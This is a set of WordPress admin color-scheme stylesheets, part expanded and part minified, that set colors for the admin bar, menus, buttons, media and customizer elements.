#wpadminbar .quicklinks .menupop ul li a:hover strong,
#wpadminbar .quicklinks .menupop ul li a:focus strong,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a,
#wpadminbar .quicklinks .menupop.hover ul li a:hover,
#wpadminbar .quicklinks .menupop.hover ul li a:focus,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,
#wpadminbar li:hover .ab-icon:before,
#wpadminbar li:hover .ab-item:before,
#wpadminbar li a:focus .ab-icon:before,
#wpadminbar li .ab-item:focus:before,
#wpadminbar li .ab-item:focus .ab-icon:before,
#wpadminbar li.hover .ab-icon:before,
#wpadminbar li.hover .ab-item:before,
#wpadminbar li:hover #adminbarsearch:before,
#wpadminbar li #adminbarsearch.adminbar-focused:before {
  color: #f7e3d3;
}

#wpadminbar .quicklinks li a:hover .blavatar,
#wpadminbar .quicklinks li a:focus .blavatar,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar,
#wpadminbar .menupop .menupop > .ab-item:hover:before,
#wpadminbar.mobile .quicklinks .ab-icon:before,
#wpadminbar.mobile .quicklinks .ab-item:before {
  color: #f7e3d3;
}

#wpadminbar.mobile .quicklinks .hover .ab-icon:before,
#wpadminbar.mobile .quicklinks .hover .ab-item:before {
  color: hsl(2.1582733813, 7%, 95%);
}

/* Admin Bar: search */
#wpadminbar #adminbarsearch:before {
  color: hsl(2.1582733813, 7%, 95%);
}

#wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus {
  color: #fff;
  background: #d66560;
}

/* Admin Bar: recovery mode */
#wpadminbar #wp-admin-bar-recovery-mode {
  color: #fff;
  background-color: #ccaf0b;
}

#wpadminbar #wp-admin-bar-recovery-mode .ab-item,
#wpadminbar #wp-admin-bar-recovery-mode a.ab-item {
  color: #fff;
}

#wpadminbar .ab-top-menu > #wp-admin-bar-recovery-mode.hover > .ab-item,
#wpadminbar.nojq .quicklinks .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus,
#wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode:hover > .ab-item,
#wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus {
  color: #fff;
  background-color: #b89e0a;
}

/* Admin Bar: my account */
#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img {
  border-color: #d66560;
  background-color: #d66560;
}

#wpadminbar #wp-admin-bar-user-info .display-name {
  color: #fff;
}

#wpadminbar #wp-admin-bar-user-info a:hover .display-name {
  color: #f7e3d3;
}

#wpadminbar #wp-admin-bar-user-info .username {
  color: #f1c8c7;
}

/* Pointers */
.wp-pointer .wp-pointer-content h3 {
  background-color: #dd823b;
  border-color: #d97426;
}

.wp-pointer .wp-pointer-content h3:before {
  color: #dd823b;
}

.wp-pointer.wp-pointer-top .wp-pointer-arrow,
.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,
.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,
.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner {
  border-bottom-color: #dd823b;
}

/* Media */
.media-item .bar,
.media-progress-bar div {
  background-color: #dd823b;
}

.details.attachment {
  box-shadow: inset 0 0 0 3px #fff, inset 0 0 0 7px #dd823b;
}

.attachment.details .check {
  background-color: #dd823b;
  box-shadow: 0 0 0 1px #fff, 0 0 0 2px #dd823b;
}

.media-selection .attachment.selection.details .thumbnail {
  box-shadow: 0 0 0 1px #fff, 0 0 0 3px #dd823b;
}

/* Themes */
.theme-browser .theme.active .theme-name,
.theme-browser .theme.add-new-theme a:hover:after,
.theme-browser .theme.add-new-theme a:focus:after {
  background: #dd823b;
}

.theme-browser .theme.add-new-theme a:hover span:after,
.theme-browser .theme.add-new-theme a:focus span:after {
  color: #dd823b;
}

.theme-section.current,
.theme-filter.current {
  border-bottom-color: #cf4944;
}

body.more-filters-opened .more-filters {
  color: #fff;
  background-color: #cf4944;
}

body.more-filters-opened .more-filters:before {
  color: #fff;
}

body.more-filters-opened .more-filters:hover,
body.more-filters-opened .more-filters:focus {
  background-color: #dd823b;
  color: #fff;
}

body.more-filters-opened .more-filters:hover:before,
body.more-filters-opened .more-filters:focus:before {
  color: #fff;
}

/* Widgets */
.widgets-chooser li.widgets-chooser-selected {
  background-color: #dd823b;
  color: #fff;
}

.widgets-chooser li.widgets-chooser-selected:before,
.widgets-chooser li.widgets-chooser-selected:focus:before {
  color: #fff;
}

/* Nav Menus */
.nav-menus-php .item-edit:focus:before {
  box-shadow: 0 0 0 1px #e59e66, 0 0 2px 1px #dd823b;
}

/* Responsive Component */
div#wp-responsive-toggle a:before {
  color: hsl(2.1582733813, 7%, 95%);
}

.wp-responsive-open div#wp-responsive-toggle a {
  border-color: transparent;
  background: #dd823b;
}

.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a {
  background: #be3631;
}

.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before {
  color: hsl(2.1582733813, 7%, 95%);
}

/* TinyMCE */
.mce-container.mce-menu .mce-menu-item:hover,
.mce-container.mce-menu .mce-menu-item.mce-selected,
.mce-container.mce-menu .mce-menu-item:focus,
.mce-container.mce-menu .mce-menu-item-normal.mce-active,
.mce-container.mce-menu .mce-menu-item-preview.mce-active {
  background: #dd823b;
}

/* Customizer */
.wp-core-ui #customize-controls .control-section:hover > .accordion-section-title,
.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,
.wp-core-ui #customize-controls .control-section.open .accordion-section-title,
.wp-core-ui #customize-controls .control-section .accordion-section-title:focus {
  color: #0073aa;
  border-right-color: #dd823b;
}
.wp-core-ui .customize-controls-close:focus,
.wp-core-ui .customize-controls-close:hover,
.wp-core-ui .customize-controls-preview-toggle:focus,
.wp-core-ui .customize-controls-preview-toggle:hover {
  color: #0073aa;
  border-top-color: #dd823b;
}
.wp-core-ui .customize-panel-back:hover,
.wp-core-ui .customize-panel-back:focus,
.wp-core-ui .customize-section-back:hover,
.wp-core-ui .customize-section-back:focus {
  color: #0073aa;
  border-right-color: #dd823b;
}
.wp-core-ui .customize-screen-options-toggle:hover,
.wp-core-ui .customize-screen-options-toggle:active,
.wp-core-ui .customize-screen-options-toggle:focus,
.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus {
  color: #0073aa;
}
.wp-core-ui .customize-screen-options-toggle:focus:before,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before, .wp-core-ui.wp-customizer button:focus .toggle-indicator:before,
.wp-core-ui .menu-item-bar .item-delete:focus:before,
.wp-core-ui #available-menu-items .item-add:focus:before,
.wp-core-ui #customize-save-button-wrapper .save:focus,
.wp-core-ui #publish-settings:focus {
  box-shadow: 0 0 0 1px #e59e66, 0 0 2px 1px #dd823b;
}
.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover {
  color: #0073aa;
}
.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,
.wp-core-ui .control-panel-themes .customize-themes-section-title:hover {
  border-right-color: #dd823b;
  color: #0073aa;
}
.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after {
  background: #dd823b;
}
.wp-core-ui .control-panel-themes .customize-themes-section-title.selected {
  color: #0073aa;
}
.wp-core-ui #customize-theme-controls .control-section:hover > .accordion-section-title:after,
.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,
.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,
.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,
.wp-core-ui #customize-outer-theme-controls .control-section:hover > .accordion-section-title:after,
.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,
.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,
.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after {
  color: #0073aa;
}
.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus {
  background-color: #fbfbfc;
  border-color: #dd823b;
  border-style: solid;
  box-shadow: 0 0 0 1px #dd823b;
  outline: 2px solid transparent;
}
.wp-core-ui .wp-full-overlay-footer .devices button:focus,
.wp-core-ui .wp-full-overlay-footer .devices button.active:hover {
  border-bottom-color: #dd823b;
}
.wp-core-ui .wp-full-overlay-footer .devices button:hover:before,
.wp-core-ui .wp-full-overlay-footer .devices button:focus:before {
  color: #dd823b;
}
.wp-core-ui .wp-full-overlay .collapse-sidebar:hover,
.wp-core-ui .wp-full-overlay .collapse-sidebar:focus {
  color: #dd823b;
}
.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow,
.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow {
  box-shadow: 0 0 0 1px #e59e66, 0 0 2px 1px #dd823b;
}
.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover {
  border-bottom-color: #dd823b;
  color: #0073aa;
}/*! This file is auto-generated */
body{background:#f1f1f1}a{color:#0073aa}a:active,a:focus,a:hover{color:#0096dd}#post-body #visibility:before,#post-body .misc-pub-post-status:before,#post-body .misc-pub-revisions:before,.curtime #timestamp:before,span.wp-media-buttons-icon:before{color:currentColor}.wp-core-ui .button-link{color:#0073aa}.wp-core-ui .button-link:active,.wp-core-ui .button-link:focus,.wp-core-ui .button-link:hover{color:#0096dd}.media-modal .delete-attachment,.media-modal .trash-attachment,.media-modal .untrash-attachment,.wp-core-ui .button-link-delete{color:#a00}.media-modal .delete-attachment:focus,.media-modal .delete-attachment:hover,.media-modal .trash-attachment:focus,.media-modal .trash-attachment:hover,.media-modal .untrash-attachment:focus,.media-modal .untrash-attachment:hover,.wp-core-ui .button-link-delete:focus,.wp-core-ui .button-link-delete:hover{color:#dc3232}input[type=checkbox]:checked::before{content:url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%23738e96%27%2F%3E%3C%2Fsvg%3E")}input[type=radio]:checked::before{background:#738e96}.wp-core-ui input[type=reset]:active,.wp-core-ui input[type=reset]:hover{color:#0096dd}input[type=checkbox]:focus,input[type=color]:focus,input[type=date]:focus,input[type=datetime-local]:focus,input[type=datetime]:focus,input[type=email]:focus,input[type=month]:focus,input[type=number]:focus,input[type=password]:focus,input[type=radio]:focus,input[type=search]:focus,input[type=tel]:focus,input[type=text]:focus,input[type=time]:focus,input[type=url]:focus,input[type=week]:focus,select:focus,textarea:focus{border-color:#9ebaa0;box-shadow:0 0 0 1px #9ebaa0}.wp-core-ui .button{border-color:#7e8993;color:#32373c}.wp-core-ui .button.focus,.wp-core-ui .button.hover,.wp-core-ui .button:focus,.wp-core-ui .button:hover{border-color:#717c87;color:#262a2e}.wp-core-ui .button.focus,.wp-core-ui .button:focus{border-color:#7e8993;color:#262a2e;box-shadow:0 0 0 1px #32373c}.wp-core-ui .button:active{border-color:#7e8993;color:#262a2e;box-shadow:none}.wp-core-ui .button.active,.wp-core-ui .button.active:focus,.wp-core-ui .button.active:hover{border-color:#9ebaa0;color:#262a2e;box-shadow:inset 0 2px 5px -3px #9ebaa0}.wp-core-ui .button.active:focus{box-shadow:0 0 0 1px #32373c}.wp-core-ui .button-primary{background:#9ebaa0;border-color:#9ebaa0;color:#fff}.wp-core-ui .button-primary:focus,.wp-core-ui .button-primary:hover{background:#a7c0a9;border-color:#95b497;color:#fff}.wp-core-ui .button-primary:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px #9ebaa0}.wp-core-ui .button-primary:active{background:#8faf91;border-color:#8faf91;color:#fff}.wp-core-ui .button-primary.active,.wp-core-ui .button-primary.active:focus,.wp-core-ui .button-primary.active:hover{background:#9ebaa0;color:#fff;border-color:#719a74;box-shadow:inset 0 2px 5px -3px #253426}.wp-core-ui .button-group>.button.active{border-color:#9ebaa0}.wp-core-ui .wp-ui-primary{color:#fff;background-color:#738e96}.wp-core-ui .wp-ui-text-primary{color:#738e96}.wp-core-ui .wp-ui-highlight{color:#fff;background-color:#9ebaa0}.wp-core-ui .wp-ui-text-highlight{color:#9ebaa0}.wp-core-ui .wp-ui-notification{color:#fff;background-color:#aa9d88}.wp-core-ui .wp-ui-text-notification{color:#aa9d88}.wp-core-ui .wp-ui-text-icon{color:#f2fcff}.wrap .page-title-action:hover{color:#fff;background-color:#738e96}.view-switch a.current:before{color:#738e96}.view-switch a:hover:before{color:#aa9d88}#adminmenu,#adminmenuback,#adminmenuwrap{background:#738e96}#adminmenu a{color:#fff}#adminmenu div.wp-menu-image:before{color:#f2fcff}#adminmenu a:hover,#adminmenu li.menu-top:hover,#adminmenu li.opensub>a.menu-top,#adminmenu li>a.menu-top:focus{color:#fff;background-color:#9ebaa0}#adminmenu li.menu-top:hover div.wp-menu-image:before,#adminmenu li.opensub>a.menu-top div.wp-menu-image:before{color:#fff}.about-wrap .nav-tab-active,.nav-tab-active,.nav-tab-active:hover{background-color:#f1f1f1;border-bottom-color:#f1f1f1}#adminmenu .wp-has-current-submenu .wp-submenu,#adminmenu .wp-has-current-submenu.opensub .wp-submenu,#adminmenu .wp-submenu,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu{background:#627c83}#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after{border-left-color:#627c83}#adminmenu .wp-submenu .wp-submenu-head{color:#d5dde0}#adminmenu .wp-has-current-submenu .wp-submenu a,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a,#adminmenu .wp-submenu a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a{color:#d5dde0}#adminmenu .wp-has-current-submenu .wp-submenu a:focus,#adminmenu .wp-has-current-submenu .wp-submenu a:hover,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover,#adminmenu .wp-submenu a:focus,#adminmenu .wp-submenu a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:hover{color:#9ebaa0}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a,#adminmenu .wp-submenu li.current a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a{color:#fff}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,#adminmenu .wp-submenu li.current a:focus,#adminmenu .wp-submenu li.current a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:hover{color:#9ebaa0}ul#adminmenu a.wp-has-current-submenu:after,ul#adminmenu>li.current>a.current:after{border-left-color:#f1f1f1}#adminmenu li.current a.menu-top,#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,.folded #adminmenu li.current.menu-top{color:#fff;background:#9ebaa0}#adminmenu a.current:hover div.wp-menu-image:before,#adminmenu li a:focus div.wp-menu-image:before,#adminmenu li.current div.wp-menu-image:before,#adminmenu li.opensub div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,#adminmenu li:hover div.wp-menu-image:before{color:#fff}#adminmenu .awaiting-mod,#adminmenu .menu-counter,#adminmenu .update-plugins{color:#fff;background:#aa9d88}#adminmenu li a.wp-has-current-submenu .update-plugins,#adminmenu li.current a .awaiting-mod,#adminmenu li.menu-top:hover>a .update-plugins,#adminmenu li:hover a .awaiting-mod{color:#fff;background:#627c83}#collapse-button{color:#f2fcff}#collapse-button:focus,#collapse-button:hover{color:#9ebaa0}#wpadminbar{color:#fff;background:#738e96}#wpadminbar .ab-item,#wpadminbar a.ab-item,#wpadminbar>#wp-toolbar span.ab-label,#wpadminbar>#wp-toolbar span.noticon{color:#fff}#wpadminbar .ab-icon,#wpadminbar .ab-icon:before,#wpadminbar .ab-item:after,#wpadminbar .ab-item:before{color:#f2fcff}#wpadminbar .ab-top-menu>li.menupop.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>li>.ab-item:focus,#wpadminbar.nojs .ab-top-menu>li.menupop:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li>.ab-item:focus{color:#9ebaa0;background:#627c83}#wpadminbar:not(.mobile)>#wp-toolbar a:focus span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li.hover span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li:hover span.ab-label{color:#9ebaa0}#wpadminbar:not(.mobile) li:hover #adminbarsearch:before,#wpadminbar:not(.mobile) li:hover .ab-icon:before,#wpadminbar:not(.mobile) li:hover .ab-item:after,#wpadminbar:not(.mobile) li:hover .ab-item:before{color:#9ebaa0}#wpadminbar .menupop .ab-sub-wrapper{background:#627c83}#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu{background:#8f9a9e}#wpadminbar .ab-submenu .ab-item,#wpadminbar .quicklinks .menupop ul li a,#wpadminbar .quicklinks .menupop.hover ul li a,#wpadminbar.nojs .quicklinks .menupop:hover ul li a{color:#d5dde0}#wpadminbar .menupop .menupop>.ab-item:before,#wpadminbar .quicklinks li .blavatar{color:#f2fcff}#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a,#wpadminbar .quicklinks .menupop ul li a:focus,#wpadminbar .quicklinks .menupop ul li a:focus strong,#wpadminbar .quicklinks .menupop ul li a:hover,#wpadminbar .quicklinks .menupop ul li a:hover strong,#wpadminbar .quicklinks .menupop.hover ul li a:focus,#wpadminbar .quicklinks .menupop.hover ul li a:hover,#wpadminbar li #adminbarsearch.adminbar-focused:before,#wpadminbar li .ab-item:focus .ab-icon:before,#wpadminbar li .ab-item:focus:before,#wpadminbar li a:focus .ab-icon:before,#wpadminbar li.hover .ab-icon:before,#wpadminbar li.hover .ab-item:before,#wpadminbar li:hover #adminbarsearch:before,#wpadminbar li:hover .ab-icon:before,#wpadminbar li:hover .ab-item:before,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover{color:#9ebaa0}#wpadminbar .menupop .menupop>.ab-item:hover:before,#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a .blavatar,#wpadminbar .quicklinks li a:focus .blavatar,#wpadminbar .quicklinks li a:hover .blavatar,#wpadminbar.mobile .quicklinks .ab-icon:before,#wpadminbar.mobile .quicklinks .ab-item:before{color:#9ebaa0}#wpadminbar.mobile .quicklinks .hover .ab-icon:before,#wpadminbar.mobile .quicklinks .hover .ab-item:before{color:#f2fcff}#wpadminbar #adminbarsearch:before{color:#f2fcff}#wpadminbar>#wp-toolbar>#wp-admin-bar-top-secondary>#wp-admin-bar-search #adminbarsearch input.adminbar-input:focus{color:#fff;background:#879ea5}#wpadminbar #wp-admin-bar-recovery-mode{color:#fff;background-color:#aa9d88}#wpadminbar #wp-admin-bar-recovery-mode .ab-item,#wpadminbar #wp-admin-bar-recovery-mode a.ab-item{color:#fff}#wpadminbar .ab-top-menu>#wp-admin-bar-recovery-mode.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus{color:#fff;background-color:#998d7a}#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar>a img{border-color:#879ea5;background-color:#879ea5}#wpadminbar #wp-admin-bar-user-info .display-name{color:#fff}#wpadminbar #wp-admin-bar-user-info a:hover .display-name{color:#9ebaa0}#wpadminbar #wp-admin-bar-user-info .username{color:#d5dde0}.wp-pointer .wp-pointer-content h3{background-color:#9ebaa0;border-color:#8faf91}.wp-pointer .wp-pointer-content h3:before{color:#9ebaa0}.wp-pointer.wp-pointer-top .wp-pointer-arrow,.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner{border-bottom-color:#9ebaa0}.media-item .bar,.media-progress-bar div{background-color:#9ebaa0}.details.attachment{box-shadow:inset 0 0 0 3px #fff,inset 0 0 0 7px #9ebaa0}.attachment.details .check{background-color:#9ebaa0;box-shadow:0 0 0 1px #fff,0 0 0 2px #9ebaa0}.media-selection .attachment.selection.details .thumbnail{box-shadow:0 0 0 1px #fff,0 0 0 3px #9ebaa0}.theme-browser .theme.active .theme-name,.theme-browser .theme.add-new-theme a:focus:after,.theme-browser .theme.add-new-theme a:hover:after{background:#9ebaa0}.theme-browser .theme.add-new-theme a:focus span:after,.theme-browser .theme.add-new-theme a:hover span:after{color:#9ebaa0}.theme-filter.current,.theme-section.current{border-bottom-color:#738e96}body.more-filters-opened .more-filters{color:#fff;background-color:#738e96}body.more-filters-opened .more-filters:before{color:#fff}body.more-filters-opened .more-filters:focus,body.more-filters-opened .more-filters:hover{background-color:#9ebaa0;color:#fff}body.more-filters-opened .more-filters:focus:before,body.more-filters-opened .more-filters:hover:before{color:#fff}.widgets-chooser li.widgets-chooser-selected{background-color:#9ebaa0;color:#fff}.widgets-chooser li.widgets-chooser-selected:before,.widgets-chooser li.widgets-chooser-selected:focus:before{color:#fff}.nav-menus-php .item-edit:focus:before{box-shadow:0 0 0 1px #bccfbd,0 0 2px 1px #9ebaa0}div#wp-responsive-toggle a:before{color:#f2fcff}.wp-responsive-open div#wp-responsive-toggle a{border-color:transparent;background:#9ebaa0}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a{background:#627c83}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before{color:#f2fcff}.mce-container.mce-menu .mce-menu-item-normal.mce-active,.mce-container.mce-menu .mce-menu-item-preview.mce-active,.mce-container.mce-menu .mce-menu-item.mce-selected,.mce-container.mce-menu .mce-menu-item:focus,.mce-container.mce-menu .mce-menu-item:hover{background:#9ebaa0}.wp-core-ui #customize-controls .control-section .accordion-section-title:focus,.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,.wp-core-ui #customize-controls .control-section.open .accordion-section-title,.wp-core-ui #customize-controls .control-section:hover>.accordion-section-title{color:#0073aa;border-right-color:#9ebaa0}.wp-core-ui .customize-controls-close:focus,.wp-core-ui .customize-controls-close:hover,.wp-core-ui .customize-controls-preview-toggle:focus,.wp-core-ui .customize-controls-preview-toggle:hover{color:#0073aa;border-top-color:#9ebaa0}.wp-core-ui .customize-panel-back:focus,.wp-core-ui .customize-panel-back:hover,.wp-core-ui .customize-section-back:focus,.wp-core-ui .customize-section-back:hover{color:#0073aa;border-right-color:#9ebaa0}.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,.wp-core-ui .customize-screen-options-toggle:active,.wp-core-ui .customize-screen-options-toggle:focus,.wp-core-ui .customize-screen-options-toggle:hover{color:#0073aa}.wp-core-ui #available-menu-items .item-add:focus:before,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before,.wp-core-ui #customize-save-button-wrapper .save:focus,.wp-core-ui #publish-settings:focus,.wp-core-ui .customize-screen-options-toggle:focus:before,.wp-core-ui .menu-item-bar .item-delete:focus:before,.wp-core-ui.wp-customizer button:focus .toggle-indicator:before{box-shadow:0 0 0 1px #bccfbd,0 0 2px 1px #9ebaa0}.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover,.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle{color:#0073aa}.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,.wp-core-ui .control-panel-themes .customize-themes-section-title:hover{border-right-color:#9ebaa0;color:#0073aa}.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after{background:#9ebaa0}.wp-core-ui .control-panel-themes .customize-themes-section-title.selected{color:#0073aa}.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-outer-theme-controls .control-section:hover>.accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section:hover>.accordion-section-title:after{color:#0073aa}.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus{background-color:#fbfbfc;border-color:#9ebaa0;border-style:solid;box-shadow:0 0 0 1px #9ebaa0;outline:2px solid transparent}.wp-core-ui .wp-full-overlay-footer .devices button.active:hover,.wp-core-ui .wp-full-overlay-footer .devices button:focus{border-bottom-color:#9ebaa0}.wp-core-ui .wp-full-overlay-footer .devices button:focus:before,.wp-core-ui .wp-full-overlay-footer .devices button:hover:before{color:#9ebaa0}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover{color:#9ebaa0}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow{box-shadow:0 0 0 1px #bccfbd,0 0 2px 1px #9ebaa0}.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover{border-bottom-color:#9ebaa0;color:#0073aa}/*! This file is auto-generated */
/*
 * Button mixin- creates a button effect with correct
 * highlights/shadows, based on a base color.
 */
/**
 * This function name uses British English to maintain backward compatibility, as developers
 * may use the function in their own admin CSS files. See #56811.
 */
body {
  background: #f1f1f1;
}

/* Links */
a {
  color: #0073aa;
}
a:hover, a:active, a:focus {
  color: #0096dd;
}

#post-body .misc-pub-post-status:before,
#post-body #visibility:before,
.curtime #timestamp:before,
#post-body .misc-pub-revisions:before,
span.wp-media-buttons-icon:before {
  color: currentColor;
}

.wp-core-ui .button-link {
  color: #0073aa;
}
.wp-core-ui .button-link:hover, .wp-core-ui .button-link:active, .wp-core-ui .button-link:focus {
  color: #0096dd;
}

.media-modal .delete-attachment,
.media-modal .trash-attachment,
.media-modal .untrash-attachment,
.wp-core-ui .button-link-delete {
  color: #a00;
}

.media-modal .delete-attachment:hover,
.media-modal .trash-attachment:hover,
.media-modal .untrash-attachment:hover,
.media-modal .delete-attachment:focus,
.media-modal .trash-attachment:focus,
.media-modal .untrash-attachment:focus,
.wp-core-ui .button-link-delete:hover,
.wp-core-ui .button-link-delete:focus {
  color: #dc3232;
}

/* Forms */
input[type=checkbox]:checked::before {
  content: url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%23738e96%27%2F%3E%3C%2Fsvg%3E");
}

input[type=radio]:checked::before {
  background: #738e96;
}

.wp-core-ui input[type=reset]:hover,
.wp-core-ui input[type=reset]:active {
  color: #0096dd;
}

input[type=text]:focus,
input[type=password]:focus,
input[type=color]:focus,
input[type=date]:focus,
input[type=datetime]:focus,
input[type=datetime-local]:focus,
input[type=email]:focus,
input[type=month]:focus,
input[type=number]:focus,
input[type=search]:focus,
input[type=tel]:focus,
input[type=text]:focus,
input[type=time]:focus,
input[type=url]:focus,
input[type=week]:focus,
input[type=checkbox]:focus,
input[type=radio]:focus,
select:focus,
textarea:focus {
  border-color: #9ebaa0;
  box-shadow: 0 0 0 1px #9ebaa0;
}

/* Core UI */
.wp-core-ui .button {
  border-color: #7e8993;
  color: #32373c;
}
